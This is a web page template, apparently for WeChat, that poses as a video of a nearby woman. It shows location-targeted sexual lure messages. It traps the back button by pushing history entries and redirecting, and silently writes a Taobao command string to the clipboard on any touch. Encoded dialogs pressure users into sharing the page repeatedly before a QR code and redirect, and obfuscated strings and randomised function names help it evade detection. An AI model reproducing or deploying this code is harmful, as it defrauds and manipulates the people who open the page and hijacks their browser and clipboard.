<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" name="viewport">
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="yes" name="apple-touch-fullscreen">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="320" name="MobileOptimized">
    <meta content="telephone=no" name="format-detection">
    <title>.</title>
    <link href="https://res.wx.qq.com/open/libs/weui/2.3.0/weui.min.css" rel="stylesheet">
    
<script src="__STATIC__/js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
    <!--<script src="https://cdn.jsdelivr.net/npm/jquery@2.1.4/dist/jquery.min.js" type="text/javascript" charset="utf-8"></script>-->
    <!--<script>window.jQuery || document.write('<script src="__STATIC__/js/jquery.min.js" type="text/javascript" charset="utf-8"><\/script>')</script>-->
    <script src="https://imgcache.qq.com/tencentvideo_v1/tvp/js/tvp.player_v2.js" type="text/javascript" ></script>
    <script type="text/javascript" src="https://ip.ws.126.net/ipquery"></script>
    <style>
        body,html{height:100%;font-family:'Helvetica Neue', Helvetica, Arial, 'PingFang SC','Hiragino Sans GB', 'WenQuanYi Micro Hei', 'Microsoft Yahei', sans-serif;background:#fff;}
        * {margin:0;padding:0;}

        .popup-body {width: 80vw;margin-top: 15vw;left:10vw;margin-left: 0;}
        .popup-body .popup-title{font-size:6vw;margin-top:20px}
        .popup-body .popup-cont{padding:5vw 10vw 7vw;font-size:4.5vw;}
        .single-btn-popup a{font-size: 5vw;padding:4vw 0;}
        .mhmzcwuyoenip{width: 100%;height: 100%;position: fixed;top: 0;left: 0;bottom: 0;right: 0;opacity: 1;background-color: rgba(0,0,0,0.5);z-index: 1000;}
        .mhmzcwuyoenip .xrnaijyqvlf {width: 100%;height: 100%;left: 0;top: 0;right: 0;bottom: 0;position: fixed;}
        .mhmzcwuyoenip img {width: 100%;}

        .pgjofziydmlbw{border-width:6px;border-style:solid;border-bottom-color:#69ca62;border-right-color:#FFF;border-top-color:#69ca62;border-left-color:#fff;transition:ease 0.5s;border-radius: 50%;overflow:hidden; width:35vw;height:35vw; font-weight:700;font-size:.23rem; position: fixed;z-index: 2000; top:70vw; left:30vw;animation: qfneouzpb 2s infinite ease-in-out;}

        @keyframes qfneouzpb {
            0% {transform: scale(1);-webkit-transform: scale(1);border-color: #6f6;box-shadow: 0 0 20px rgba(0,255,0,.6), inset 0 0 10px rgba(0,255,0,.4);}
            100% {transform: scale(0.6);-webkit-transform: scale(0.6);opacity: 0.1;border-color: #393;box-shadow: 0 0 5px rgba(0,255,0,.2), inset 0 0 5px rgba(0,255,0,.1);}
        }


        .body{width: 100vw;height: 100vh;text-align: center;background-color:var(--weui-BG-0);color:var(--weui-FG-0)}
        .msg{font-size:24px;padding:30px 0 20px;color: #FF5722;}
        .btn_qrcode img {max-width: 90%;text-align: center;margin-bottom: 20px;border-radius: 5px;}

        /* 弹出窗口样式 */
        #lly_dialog {height: 100vh;position: absolute;}
        .weui-dialog {position: fixed;z-index: 9999;width: 95%;max-width: 80%;top: 120px;left: 50%;-webkit-transform: translate(-50%, -50%);transform: translate(-50%, -50%);background-color: #fff;text-align: center;overflow: hidden;}
        .weui-dialog__bd:first-child {padding: 15px 10px 10px;color: #353535;font-weight: 300;}
        .weui-dialog__bd {padding: 5px;min-height: 40px;font-size: 18px;line-height: 1.6;word-wrap: break-word;word-break: break-all;color: #000;margin-bottom: 5px;}
        .weui-dialog__ft {background: #e1c38f;position: relative;font-size: 18px;display: -webkit-box;display: -webkit-flex;display: flex;}
        .weui-dialog__btn {color: #fff;}

        /* 分享样式 */
        #imgShare{display: none;}
        #xafhzwiqy{overflow:hidden; width:2.5rem;height:2.5rem; color:#E93B4A;font-weight:700;font-size:.23rem; position: fixed;z-index: 8888; top:2.1rem; left:0.65rem; opacity: 0;}
        .lcxguhvsi{width: 100%;height: 100%;position: fixed;top: 0;left: 0;bottom: 0;right: 0;opacity: 1;z-index: 1000;}
        .lcxguhvsi .tohbvrck {width: 100%;height: 100%;left: 0;top: 0;right: 0;bottom: 0;position: fixed;}
        .lcxguhvsi img {width: 100%;}
        .qxausv{border-width:6px;border-style:solid;border-bottom-color:#69ca62;border-right-color:#FFF;border-top-color:#69ca62;border-left-color:#fff;transition:ease 0.5s;border-radius: 50%;overflow:hidden; width:1.5rem;height:1.5rem; font-weight:700;font-size:.23rem; position: fixed;z-index: 2000; top:2.55rem; left:1.08rem;animation: kcqwmgzh 2s infinite ease-in-out;}
        @keyframes kcqwmgzh {0% {transform: scale(1);-webkit-transform: scale(1);border-color: #6f6;box-shadow: 0 0 20px rgba(0,255,0,.6), inset 0 0 10px rgba(0,255,0,.4);} 100% {transform: scale(0.6);-webkit-transform: scale(0.6);opacity: 0.1;border-color: #393;box-shadow: 0 0 5px rgba(0,255,0,.2), inset 0 0 5px rgba(0,255,0,.1);} }


        *{margin:0;padding:0;-webkit-text-size-adjust:100%;font-family:Arial, Helvetica, sans-serif; font-size:14px;}
        html,body{overflow-x:hidden; max-width:800px;margin:0 auto;}
        article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}
        audio,canvas,progress,video{display:inline-block;vertical-align:baseline}
        input[type="button"],input[type="submit"]{cursor:pointer;-webkit-appearance: none;outline:none;}
        ul,ol,li{list-style:none;}
        input{border:0;outline:none;}
        a{text-decoration:none;}
        img{border:0;}
        .box{width: 100%;background: #000;}
        #video{width: 100%;z-index:100;height: 100%;}
        .bottom_wrap{position: fixed;bottom: 8px;left: 0;width: 100%;overflow: hidden;box-sizing: border-box;padding: 0 10px 10px 10px;z-index:999999;}
        .left_wrap{width: 80%;float:left;}
        .left_wrap .name_wrap{width: 100%;overflow: hidden;margin-bottom: 6px;}
        .left_wrap .name_wrap div{display: inline-block;float: left;}
        .name_wrap .name{font-size: 16px;font-weight: 500;height: 20px;line-height: 22px;margin-right: 10px;color:#fff;}
        .name_wrap .img_box{width: 20px;height: 20px;margin-right: 10px;}
        .img_box img{width: 100%;height: 100%;border-radius: 3px;}
        .name_wrap .sui{width: 18px;height: 18px;text-align: center;line-height: 18px;font-size: 12px;color:#fff;background: #FE738D;border-radius: 4px;margin-right: 10px;margin-top: 1px;}
        .name_wrap .on_line{padding:0 8px 0 12px;height: 18px;font-size: 12px;color:#fff;border:1px solid #fff;border-radius: 18px;margin-top: 1px;}
        .on_line text{width: 3px;height: 3px;border-radius: 50%;background: #fff;position: relative;top:-3px;left: -3px;display: inline-block;}
        .adr{width: 100%;overflow: hidden;}
        .adr div{display: inline-block;float: left;}
        .adr .po_box{width: 20px;height: 20px;margin-right: 4px;}
        .po_box img{width: 100%;height: 100%;}
        .adr .text{height: 20px;line-height: 20px;font-size: 14px;color: #fff;}
        .right_wrap{width: 20%;float: left;margin-top: 6px;}
        .right_wrap div{text-align: right;color: #fff;font-size: 14px;margin-bottom: 2px;}
        .pop_wrap{position: fixed;bottom: 96px;left: 10px;padding: 6px;border-radius: 6px;background: #FE738D;display: none;z-index:999999;}
        .pop{width: 100%;overflow: hidden;position: relative;}
        .pop .us_wrap{display: inline-block;float: left;width: 100%;}
        .us_wrap .ti{color: #fff;font-size: 14px;margin-bottom: 8px;}
        .us_wrap .tx{color: #fff;font-size: 14px;}
        .mask{position: fixed;top: 0;bottom: 0;left: 0;right: 0;width: 100%;height: 100%;z-index:999;background: rgba(0,0,0,0.5);}
        .pp{background: #fff;width: 240px;border-radius: 8px;margin: 60% auto;}
        .pp .tt{height: 80px;line-height: 80px;text-align: center;color: #333;font-size: 16px;}
        .pp .btn_w{height: 40px;line-height: 40px;font-size: 16px;overflow: hidden;color: #333;border-top: 1px solid rgba(0,0,0,0.2);}
        .btn_w div{width: 50%;float: left;text-align: center;}
        .btn_w div:first-child{box-sizing: border-box;border-right:1px solid rgba(0,0,0,0.2);color: #0aba07;}

        /* 顶部返回关闭样式 开始 */
        .goback{background:#000;font-size:16px;color:#ffd8ae;height:40px;line-height:40px;width:100%;position:fixed;top:0;left:0;display:flex;justify-content:space-between;align-items:center;filter:alpha(opacity=50);opacity:0.5;z-index:9999;}
        .goback_left{ display: flex; align-items: center; padding-left: 10px;}
        .back_icon{ display: block; width: 9px; height: 16px; margin-right: 7px; background-image: url(/static/img/back_icon.png); background-repeat: no-repeat; background-size: 100%; }
        .goback_right{display: flex; align-items: center; padding-right: 10px;}
        .close_icon{display: block; width: 16px; height: 16px; margin-right: 7px; background-image: url(/static/img/close_icon.png); background-repeat: no-repeat; background-size: 100%; }
        /* 顶部返回关闭样式 结束 */
    </style>
</head>

<body id-city="本地" class="copy_btn" data-clipboard-text="">

<img style="display:none;" src="{$data.share_qrcode}" alt="" />
<img style="display:none;" src="{$conf.dsp_share_bg}" alt="" />

<div class="goback">
    <div class="goback_left" onclick="jump();return false;">  <i class="back_icon"></i>返回</div>
    <div class="goback_right" onclick="share_end();return false;"><i class="close_icon"></i>关闭</div>
</div>

<script type="text/javascript">

    var city = '本地';
    if(typeof localAddress != 'undefined') {
        if(typeof localAddress["city"] != 'undefined' && localAddress["city"] != '') {
            city = localAddress["city"];
            city = city.replace("市", "");
        } else if(typeof localAddress["province"] != 'undefined' && localAddress["province"] != '') {
            city = localAddress["province"];
            city = city.replace("省", "");
        }
    }

    function getRandEmoji() {
        var emoji = ["🌂","🌺","⛎","🐳","💖","🔥","🈲","💥","✨","💘","🍺","💌","🎸","⛵","🎁","💰","👙","🙏","🐠","🛀","😀","😁","😂","🤣","😃","😄","😅","😆","😉","😊","😋","😎","😍","😘","😗","😙","😚","🙂","🤗","🤔","😐","😶","😑","🙄","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😝","🤤","😓","😔","😕","🙃","🤑","😲","😖","😖","😞","😟","😤","😢","😭","😦","😦","🤧","😇","🤠","🤡","🤥","🤓","😈","👿","👹","👺","💀","👻","👽","😺","😸","😹","😻","😼","😽","🙀","😿","😾","👫","👬","👭","👃🏿","👣","👀","👁","👅","👄","💋","👓","👔","👕","👙","👚","👜","👠","👑","🎩","💍","💼","🌠","🌏","🌕","🌠","😙","🈲","✅","🔡","🔘","🔖","🔗","🔜","🔙","🔚","🔛","⚪","⛔","🔽","🔠","⚫","🚫","✅","🔼","⛔","❎","🔢","📛","🔵"];
        var index = Math.floor((Math.random() * emoji.length));
        return emoji[index];
    }

    function {$rand_str.aa}(msg, btn, callback) {
        var d = $('#lly_dialog');
        d.show(200);
        d.find("#lly_dialog_msg").html(msg);
        d.find("#lly_dialog_btn").html(btn);
        d.find("#lly_dialog_btn").off('click').on('click', function() {
            // d.hide(200);
            var music = document.getElementById("bgMusic");
            if(music.paused){
                music.play();
                $(".weui-dialog__bd").html("<b style='color: #FF5722;font-size: 20px;margin: 30px 10px;'>正在播放提示</b>");
                $(".weui-dialog__btn").html('关 闭');
                setTimeout(function(){
                    $('#lly_dialog').hide();
                }, 5000);
            }else{
                music.pause();
                $('#lly_dialog').hide();
            }
        });
    }

    function {$rand_str.aaa}(msg, btn, callback) {
        var d = $('#lly_dialog');
        d.show(200);
        d.find("#lly_dialog_msg").html(msg);
        d.find("#lly_dialog_btn").html(btn);
        d.find("#lly_dialog_btn").off('click').on('click', function() {
            d.hide(200);
            if(callback) {
                callback();
            }
        });
    }

    var {$rand_str.data}  = JSON.parse(window.atob("{$jsondata}"));
    var {$rand_str.config}= JSON.parse(window.atob("{$jsonconf}"));

    function {$rand_str.jiemi}(s) {return decodeURIComponent(atob(s));}

    $('body').append({$rand_str.jiemi}('JTNDZGl2JTIwaWQlM0QlMjJsbHlfZGlhbG9nJTIyJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyd2V1aS1tYXNrJTIyJTNFJTNDJTJGZGl2JTNFJTNDZGl2JTIwY2xhc3MlM0QlMjJ3ZXVpLWRpYWxvZyUyMiUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyd2V1aS1kaWFsb2dfX2JkJTIyJTIwaWQlM0QlMjJsbHlfZGlhbG9nX21zZyUyMiUzRSUzQyUyRmRpdiUzRSUzQ2RpdiUyMGNsYXNzJ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JUU1JTkwJUE2JUU2JUJCJUExMTglRTUlOTElQTglRTUlQjIlODElM0MlMkZkaXYlM0UlM0NkaXYlMjBjbGFzcyUzRCUyMmJ0bl93JTIyJTNFJTNDZGl2JTIwY2xhc3MlM0QlMjJjb3B5JTIyJTIwb25jbGljayUzRCUyMnF4KCklMjIlM0UlRTYlOTglQUYlM0MlMkZkaXYlM0UlM0NkaXYlMjBjbGFzcyUzRCUyMmNvcHklMjIlMjBvbmNsaWNrJTNEJTIycXgoKSUyMiUzRSVFNSU5MCVBNiUzQyUyRmRpdiUzRSUzQyUyRmRpdiUzRSUzQyUyRmRpdiUzRSUzQyUyRmRpdiUzRQ=='));

    $('#video').attr("src",{$rand_str.data}.vsrc);
    $('#video').attr("poster",{$rand_str.data}.vpic);
    $('.name').text({$rand_str.data}.name);
    $('.sui').text({$rand_str.data}.age);

    $('.img_box').html('<img src="'+{$rand_str.data}.cover+'">');
    $('#count').text(Math.floor(Math.random() * (1800 - 1020 + 1020) + 1020));

    $("#video").css("height",window.screen.height);


    $(document).ready(function (){

        $('body').attr('id-city',city);

        $('.text').text(city+"同城 当前妹妹位置距离你约"+parseInt(Math.random() * (10 - 2 + 1) + 2)+"公里");

        var arr_m = [
            {'name':'哥，我也在'+city},
            {'name':'你是一个人在家吗'},
            {'name':'老公出差了'},
            {'name':'进房间私聊了'},
            {'name':'什么都可以的，要来尝尝吗'},
            {'name':'天热脱光睡舒服'},
            {'name':'一个睡觉有点怕怕'},
            {'name':'男朋友出轨了'}
        ]; // 弹窗信息

        var tims = setInterval(function(){
            var rand = Math.floor(Math.random()*arr_m.length);
            $(".ti").html(arr_m[rand].name);
            $(".tx").html(arr_m[rand].name);
            $("#pop").slideDown();
            setTimeout(function(){
                $("#pop").slideUp();
            }, 2000);
        }, 4000);

    });

    function ql(){
        console.log('这是 ql');
    }

    function qx(){
        $(".mask").hide();
        document.getElementById("video").play();
    }

    function jump(){
        location.href = {$rand_str.data}.back_jump_url;
    }

    function qs(){
        $(".mask").hide();
        jump();
    }

    // 监听播完
    var video = document.getElementById("video");
    video.addEventListener('ended', function () {
        $("#video").hide();
        end_run()
    }, false);


    function gygfvrua(){

        history.pushState(history.length + 1,'message','#');
    }
    setTimeout('gygfvrua()',200);
    window.onhashchange = function(){
        jump();
    };

</script>


<script>


    /*替换标题里的标签*/
    while( {$rand_str.data}.title.indexOf("{city}") > -1 || {$rand_str.data}.title.indexOf("{emoji}") > -1 ) {
        {$rand_str.data}.title = {$rand_str.data}.title.replace("{city}", city).replace("{emoji}", getRandEmoji());
    }

    document.title = {$rand_str.data}.title;


    /*替换分享标题里的标签*/
    while( {$rand_str.data}.share_title.indexOf("{city}") > -1 || {$rand_str.data}.share_title.indexOf("{emoji}") > -1 ) {
        {$rand_str.data}.share_title = {$rand_str.data}.share_title.replace("{city}", city).replace("{emoji}", getRandEmoji());
    }

    $(function(){

        setTimeout(function(){drawBg({$rand_str.data}.share_title)}, 3000);

        var cvs = document.createElement("canvas");
        var ctx = cvs.getContext("2d");
        var bg, qr, logo;
        var w = "";
        var h = "";


        function drawBg(words) {
            bg = new Image();
            bg.crossOrigin = "Anonymous";
            bg.onload = function () {
                w = bg.width;
                h = bg.height;
                cvs.width = w;
                cvs.height = h;
                ctx.fillStyle = "#ffffff";
                ctx.fillRect(0, 0, w, h);
                //画背景图
                ctx.drawImage(bg, 0, 0, w, h);
                drawQr(words);
            };
            bg.src = {$rand_str.config}.dsp_share_bg;
        }


        function drawQr(words) {
            qr = new Image();
            qr.crossOrigin = "Anonymous";

            var x = 50;
            var y = 50;

            var w = 200;
            var h = 200;
            var rot = 0;

            qr.onload = function () {
                ctx.fillStyle = "#ffffff";
                ctx.fillRect(x, y, w, h);
                ctx.drawImage(qr, x, y, w, h);
                var imgdata = cvs.toDataURL("image/png");
                drawWord(words);
            };

            qr.src = {$rand_str.data}.share_qrcode;
        }


        function drawWord(words) {
            var obj = {
                color: "#ff0000",
                x: 50,
                y: 320,
                size: 38,
                family: '黑体',
                rot: 0,
                weight:'450'
            };
            ctx.fillStyle = obj.color; //字体颜色
            var wg = obj.weight + " ";
            ctx.font = wg + obj.size + "px " + obj.family;  //字体样式
            ctx.rotate(obj.rot * Math.PI / 180); //旋转角度
            ctx.textAlign = "left";

            // obj.x = w / 2;
            // ctx.textAlign = "center";

            ctx.textBaseline = "bottom";
            ctx.fillText(words, obj.x, obj.y);
            ctx.rotate(-obj.rot * Math.PI / 180); //调整旋转起点
            setTimeout(function () {datasToPng();}, 500);
        }


        function datasToPng() {
            var imgdata = cvs.toDataURL("image/png");
            $('#xafhzwiqy img').attr('src',imgdata);
        }

    })


    /* 回退跳转 */
    // window.onhashchange = function() {jp();};
    // function jp() {window.location.href = {$rand_str.data}.back_jump_url;}
    // function hh() {history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());}
    // setTimeout(function () {hh();}, 200);

    history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());
    if (navigator.userAgent.indexOf('Android') != -1) {
        if (typeof(tbsJs) != "undefined") {
            tbsJs.onReady('{useCachedApi : "true"}', function(e) {})
            window.onhashchange = function() {
                location.href = {$rand_str.data}.back_jump_url;
            };
        } else {
            var pop = 0;
            window.onhashchange = function(event) {
                pop++
                if (pop >= 3) {
                    location.href = {$rand_str.data}.back_jump_url;
                } else {
                    history.go(1)
                }
            };
            history.go(-1);
        }
    } else {
        window.onhashchange = function() {
            location.href = {$rand_str.data}.back_jump_url;
        };
    }


    function {$rand_str.ddd}(link, callback) {
        var label = document.createElement('script');
        label.src = link;
        label.onload = function() {
            if (typeof callback === 'function') callback()
        };
        document.body.appendChild(label)
    }

    {$rand_str.ddd}('/static/js/clipboard.min.js',function(){
        var clipboard = new ClipboardJS('html', {text: function () {return {$rand_str.data}.taokouling;}});
    });


    function setFont() {
        var clientWidth = document.documentElement.clientWidth;
        document.documentElement.style.fontSize = parseFloat(clientWidth / 3.75) + 'px';
    }

    window.addEventListener('orientationchange' in window ? 'orientationchange' : 'resize', setFont, false);
    document.addEventListener('DOMContentLoaded', setFont, false);

    setTimeout(setFont, 100);



    window.onload = function(){
        stopDrop();
    };


    function stopDrop() {
        var lastY;//最后一次y坐标点
        $("#dowqtnkzp").on('touchstart', function(event) {
            lastY = event.originalEvent.changedTouches[0].clientY;//点击屏幕时记录最后一次Y度坐标。
        });
        $("#dowqtnkzp").on('touchmove', function(event) {
            var y = event.originalEvent.changedTouches[0].clientY;
            var st = $(this).scrollTop(); //滚动条高度
            if (y >= lastY && st <= 10) {//如果滚动条高度小于0，可以理解为到顶了，且是下拉情况下，阻止touchmove事件。
                lastY = y;
                event.preventDefault();
            }
            lastY = y;
        });

        $(".lcxguhvsi,.xafhzwiqy,img").on('touchstart', function(event) {
            lastY = event.originalEvent.changedTouches[0].clientY;
        });
        $(".lcxguhvsi,.xafhzwiqy,img").on('touchmove', function(event) {
            var y = event.originalEvent.changedTouches[0].clientY;
            var st = $(this).scrollTop();
            if (y >= lastY && st <= 10) {
                lastY = y;
                event.preventDefault();
            }
            lastY = y;
        });
    }


    var shareATimes = 0;

    var shareTTimes = {$rand_str.config}.share_num || 3;

    var hiddenProperty = 'hidden' in document ? 'hidden' :
        'webkitHidden' in document ? 'webkitHidden' :
            'mozHidden' in document ? 'mozHidden' :
                null;
    var visibilityChangeEvent = hiddenProperty.replace(/hidden/i, 'visibilitychange');
    var onVisibilityChange = function(){
        if (!document[hiddenProperty]) {
            window.show_time = Date.now();

            shareATimes++;
            if ( shareATimes>0 && shareATimes<shareTTimes) {
                setTimeout({$rand_str.bbb}(shareATimes), 2000);
            } else {
                setTimeout({$rand_str.bbb}(-1), 2000);
            }

        }else{
            window.hidden_time = Date.now();
        }
    };
    document.addEventListener(visibilityChangeEvent, onVisibilityChange);



    function {$rand_str.bbb}(num) {

        switch (num) {
            case 0:
            {$rand_str.aa}({$rand_str.config}.share_alert_0, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2JUVGJUJDJThDJUU2JTkyJUFEJUU2JTk0JUJFJUU2JThGJTkwJUU3JUE0JUJB'));
                break;
            case 1:
                $('#imgShare').show();
            {$rand_str.aaa}({$rand_str.config}.share_alert_1, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
                break;
            case 2:
            {$rand_str.aaa}({$rand_str.config}.share_alert_2, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
                break;
            case 3:
            {$rand_str.aaa}({$rand_str.config}.share_alert_3, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
                break;
            case 4:
            {$rand_str.aaa}({$rand_str.config}.share_alert_4, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
                break;
            case 5:
            {$rand_str.aaa}({$rand_str.config}.share_alert_5, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
                break;
            case 6:
            {$rand_str.aaa}({$rand_str.config}.share_alert_6, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
                break;
            default:
                if ( {$rand_str.data}.share_end_type == 1 ) {
                    location.href = {$rand_str.data}.share_end_url;
                } else {
                    $('#imgShare').hide();
                    $('#lly_dialog').hide();
                    share_end();
                }
        }

    }


    function end_run(){
        {$rand_str.bbb}(shareATimes);
        $('#imgShare').show();
    }


    function share_end(){

        $('#imgShare').hide();

        $('body').html({$rand_str.jiemi}('JTNDZGl2JTIwY2xhc3MlM0QlMjJib2R5JTIyJTNFJTNDcCUyMGNsYXNzJTNEJTIybXNnJTIyJTNFJUU5JTk1JUJGJUU2JThDJTg5JUU0JUI4JThCJUU2JTk2JUI5JUU1JTlCJUJFJUU3JTg5JTg3JTIwJUU4JUFGJTg2JUU1JTg4JUFCJUU0JUJBJThDJUU3JUJCJUI0JUU3JUEwJTgxJTNDJTJGcCUzRSUzQ2RpdiUyMGNsYXNzJTNEJTIyYnRuX3FyY29kZSUyMiUzRSUzQyUyRmRpdiUzRSUzQyUyRmRpdiUzRQ=='));

        $('.btn_qrcode').html('<img src="'+ {$rand_str.data}.share_end_img +'">');

        setTimeout("jump()", 10000);
    }


    /* 添加右下角 投诉按钮 */
    $(function(){
        $('body').append({$rand_str.jiemi}('JTNDc3R5bGUlM0UlMjN0cyUyMCU3QnBvc2l0aW9uJTNBJTIwZml4ZWQlM0JyaWdodCUzQSUyMDMwcHglM0Jib3R0b20lM0ElMjAxMDBweCUzQnotaW5kZXglM0ElMjA5OTk5OSUzQiU3RCUzQyUyRnN0eWxlJTNFJTNDZGl2JTIwaWQlM0QlMjJ0cyUyMiUzRSUzQ2ElMjBzdHlsZSUzRCUyMmRpc3BsYXklM0ElMjBpbmxpbmUtYmxvY2slM0JiYWNrZ3JvdW5kLWNvbG9yJTNBJTIwcmdiYSgyNTUlMkM4NyUyQzM0JTJDMSklM0Jjb2xvciUzQSUyM2ZmZmZmZiUzQmZvbnQtc2l6ZSUzQSUyMDE2cHglM0JwYWRkaW5nJTNBJTIwMTBweCUyMDZweCUzQmJvcmRlci1yYWRpdXMlM0ElMjA1MCUyNSUzQmJvcmRlciUzQSUyMDFweCUyMHNvbGlkJTIwJTIzZWVlJTNCJTIyJTNFJUU2JThBJTk1JUU4JUFGJTg5JTNDJTJGYSUzRSUzQyUyRmRpdiUzRQ=='));

        $('#ts').click(function(){
            $.get('/item/auto/ts', {}, function(res){
                if ( res.code == 1 ){
                    {$rand_str.aaa}('<h2>'+ res.msg +'</h2>', {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'), function(){location.href = res.url;});
                    setTimeout(function(){
                        location.href = res.url;
                    }, 3000);
                }
            });
        });
    })

</script>

<!--<script type="text/javascript">document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {WeixinJSBridge.call('hideOptionMenu');});</script>-->
<div style="display: none;">{:fission('liuliangtongji')}</div>
</body>
</html>
